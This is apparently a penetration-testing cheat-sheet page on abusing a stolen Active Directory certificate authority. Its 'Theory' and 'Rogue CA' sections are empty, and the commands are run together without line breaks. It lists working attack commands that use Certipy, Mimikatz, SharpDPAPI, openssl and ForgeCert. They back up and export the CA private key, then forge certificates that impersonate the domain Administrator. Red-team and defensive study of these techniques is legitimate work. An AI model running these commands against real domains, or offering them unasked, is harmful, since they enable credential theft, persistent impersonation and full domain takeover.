Certificate authority
Theory
Practice
Stolen CA
certipy ca -backup -ca "CA" -username "[email protected]" -password "PASSWORD" -dc-ip "DC-IP"certipy forge -ca-pfx "CA.pfx" -upn "[email protected]" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL"Seatbelt.exe Certificates -computername="ca.domain.local"Win+R > certsrv.msc > CA > right click > All Tasks > Back up CA... > selet "Private key and CA certificate" > Nextmimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"SharpDPAPI.exe certificates /machineopenssl pkcs12 -in "ca.pem" -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out "ca.pfx"ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "[email protected]" --NewCertPath "administrator.pfx" --NewCertPassword "Password"Rogue CA
Resources
Last updated
Was this helpful?